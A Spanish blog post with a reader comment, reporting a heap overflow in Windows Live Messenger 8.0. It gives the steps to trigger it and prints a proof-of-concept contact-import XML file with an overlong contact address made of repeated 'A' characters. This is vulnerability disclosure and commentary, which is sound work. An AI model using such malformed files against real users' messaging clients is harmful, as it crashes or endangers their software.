Windows Messenger 8.0
El afectado en este caso es el Windows Live Messenger 8.0 con un heap overflow estúpido pero -parece ser- efectivo. Podeis probar el exploit de la siguiente forma:
Messenger => Menu => Contact => Import Instant Messaging Contacts => Select CLexploits.cttComo vemos, el código XML para la importación de contactos no tiene demasiada chicha:
<?xml version="1.0"?>
<messenger>
<service name=".NET Messenger Service">
<contactlist>
<contact>AAAAAA[MUCHAS_MAS_AES]AAAAAAAAAAAAAAAA@hotmail.com</contact>
</contactlist>
</service>
</messenger>
Me sorprende que este tipo de fallos sigan de moda, bien es cierto que estoy bastante off en programación, pero son técnicas de hace años que se deberían haber corregido. Aunque tratándose de quien se trata...
Comentarios
Hace años que no programo nada en windows, pero recuerdo que reservar memoria a veces ocultaba este tipo de errores (bueno, más bien buffer overflow que heap overflow) porque dependiendo del sistema (en win98 no pasaba en win2k sí) te daba más memoria de la que pedías redondeando a una página de 4kb.
Claro... tenías un error en el programa, pero si daba la casualidad de que "te pasabas" y caías en esa zona de memoria "de más", el error pasaba desapercibido.
Desde luego ya podrían pasar un mejor control de calidad a los programas (¿esta petada es en una beta?), ya que dicen que es una de las ventajas que tiene el soft privativo sobre el software libre (jua jua).
Resumiendo, que la apuesta de las empresas por un software privativo es algo más por temas de salvar culos que por confianza corporativa... bueno, todo esto como siempre imho. Saludo a mis admiradoras que también apuntan a null xD